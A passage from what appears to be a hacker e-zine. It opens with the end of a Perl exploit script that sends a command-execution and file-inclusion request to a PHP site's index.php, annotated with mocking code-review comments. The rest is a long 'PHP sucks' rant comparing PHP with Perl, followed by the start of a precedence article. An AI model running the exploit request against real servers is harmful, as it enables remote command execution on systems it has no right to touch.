print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".urlEncode($paths[$i])." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
$out='';
# way to change your quoting style
while ($answer = <$sock>) {
$out.=$answer;
}
close($sock);
@temp= split /666/,$out,3;
if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
# I haven't seen any of this code before....
}
#if you are here...
print "\r\nExploit failed...\r\n";
} else {
print "No action specified ...\r\n";
}
# congrats on trimming down the commenting and printing on the next one you released
# maybe I should have waited for it
# don't get me wrong, the code is just as shitty
-[0x07] # Wait: PHP SUCKS ------------------------------------------------
Time for the enlightenment. The "PHP sucks and we're telling you why"
orgy. This is the Perl Underground in everybody.
<revdiablo> The earth turns, the grass grows, PHP sucks.
First of all, what are you going to do with namespaces? PHP still does
not have namespaces.
Then, what will you do with closures? PHP has no closures. Heck, it
doesn't even have anonymous functions. That's another thing: how will
you be rewriting that hash of coderefs? A hash of strings that are
evaled at runtime?
And what about all those objects that aren't simple hashes?
But let's assume you didn't use any of these slightly more advanced
programming techniques than the average PHP "programmer" can handle.
But you did use modules. You do use modules, don't you?
PHP is a web programming language, so it must have a good HTML parser
ready, right? One is available, but it cannot be called good. It cannot
even parse processing instructions like, ehm, <?php ...?> itself.
Another common task in web programming is sending HTML mail with a few
inline images. So what alternative for MIME::Lite do you have? The
PHP-ish solution is to build the message manually. Good luck, and have
fun.
But at least it can open files over HTTP. Yes, that it can. But what do
you do if you want more than that? What if you want to provide POST
content, headers, or implement ETags? Then, you must use Curl, which
isn't nearly as convenient as LWP. Don't even think about having
something like WWW::Mechanize in PHP.
Enough with the modules. I think I've proven my point that CPAN makes
Perl strong. Now let's discuss the core. In fact, let's focus on
something extremely elementary in programming: arrays!
PHP's "arrays" are hashes. It does not have arrays in the sense that
most languages have them. You can't just translate $foo[4] = 4; $foo[2]
= 2; foreach $element (@foo) { print $element } to $foo[4] = 4; $foo[2]
= 2; foreach ($foo as $element) { print $element }. The Perl version
prints 24, PHP insists on 42. Yes, there is ksort(), but that isn't
something you can guess. It requires very in-depth knowledge of PHP.
And that's the one thing PHP's documentation tries to avoid :)
Also, don't think $foo = bar() || $baz does the same in PHP. In PHP,
you end up with true or false. So you must write it in two separate
expressions.
Exactly what makes you think and even say moving from Perl to PHP is
easy? It's very, very hard to un-learn concise programming and go back
to medieval programming times. And converting existing code is even
harder.
<Brend> (Also, PHP sucks)
Arguments and return values are extremely inconsistent
To show this problem, here's a nice table of the functions that match a
user defined thing: (with something inconsistent like this, it's
amazing to find that the PHP documentation doesn't have such a table.
Maybe even PHP people will use this document, just to find out what
function to use :P)
replaces case gives s/m/x
offset
matches with insens number arrays matches flags
(-1=end)
ereg ereg no all no array no 0
ereg_replace ereg str no all no no no 0
eregi ereg yes all no array no 0
eregi_replace ereg str yes all no no no 0
mb_ereg ereg no all no array no 0
mb_ereg_replace ereg str/expr no all no no yes 0
mb_eregi ereg yes all no array no 0
mb_eregi_replace ereg str yes all no no no 0
preg_match preg yes/no one no array yes 0
preg_match_all preg yes/no all no array yes 0
preg_replace preg str/expr yes/no n/all yes no yes 0
str_replace str str no all yes number no 0
str_ireplace str str yes all yes number no 0
strstr, strchr str/char no one no substr no 0
stristr str/char yes one no substr no 0
strrchr char no one no substr no -1
strpos str/char no one no index no n
stripos str/char yes one no index no n
strrpos char no one no index no n
strripos str yes one no index no -1
mb_strpos str no one no index no n
mb_strrpos str yes one no index no -1
The problem exists for other function groups too, not just for
matching.
(In Perl, all the functionality provided by the functions in this table
is available through a simple set of 4 operators.)
<linuxnohow> dude, PHP sucks. plain and simple.
PHP has no lexical scope
Perl has lexical scope and dynamic scope. PHP doesn't have these.
For an explanation of why lexical scope is important, see Coping with
Scoping.
PHP Perl
Superglobal Yes Yes
Global Yes Yes
Function local Yes Yes
Lexical (block local) No Yes
Dynamic No Yes
<japhy> PHP sucks again.
PHP has too many functions in the main namespace
(Using the core binaries compiled with all possible extensions in the
core distribution, using recent versions in November 2003.)
Number of PHP main functions: 3079
Number of Perl main functions: 206
Median PHP function name length: 13
Mean PHP function name length: 13.67
Median Perl function name length: 6
Mean Perl function name length: 6.22
Note that Perl has short syntax equivalents for some functions:
readpipe('ls -l') ==> `ls -l`
glob('*.txt') ==> <*.txt>
readline($fh) ==> <$fh>
quotemeta($foo) ==> "\Q$foo"
lcfirst($foo) ==> "\l$foo" (lc is \L)
ucfirst($foo) ==> "\u$foo" (uc is \U)
<sili> i'm there to slip in snide comments about how php sucks
No real references or pointers
No idea of namespace
No componentization
Wants to be Perl, but doesn't want to be Perl
No standard DB interface
All PHP community sites are for non-programmers
No chained method calls (Not true anymore --tnx.nl)
No globals except by importation
Both register_globals and $_REQUEST bite
Arrays are hashes
PEAR just ain't CPAN
Arrays cannot be interpolated into strings
No "use strict" like checking of variable names
<Juerd> php sucks
Perl is faster than PHP
Perl is more versatile than PHP
Perl has better documentation than PHP
PHP lacks support for modules
PHP's here-docs are useless for Windows users
PHP lacks a consistent database API
PHP dangerously caches database query results
For graphics, PHP is practically limited to GD
<rindolf> I think PHP is the language and has applications with
the worst security track on the planet.
<rindolf> Perl code can also be very insecure, but it's harder,
and also most PHP programmers are much more clueless than most Perl
programmers.
Comparing PHP to CGI/Perl is pointless. Compare PHP to either
Apache::EmbPerl or HTML::Mason, and you are starting to get a fair
comparison.
Having watched PHP develop over the years, it started out as a very
simple Perl replacement, but then has been slowly adding features of
Perl one by one, but three to five years later. In another five years,
it'll probably be where Perl is now.
So why wait? With Perl, you get a mature language, and a language that
works as well off the web as on. And HTML::Mason and everything else in
the CPAN make leveraging other people's implementation a snap for
nearly any common task.
PHP - it's "training wheels without the bike".
<pH> Of course you can write complex scripts in PHP - it's Turing
complete. It's just painful.
-[0x08] # School You: MJD ------------------------------------------------
Just the FAQs: Precedence Problems
What is Precedence?
What's 2+3
页:
[1]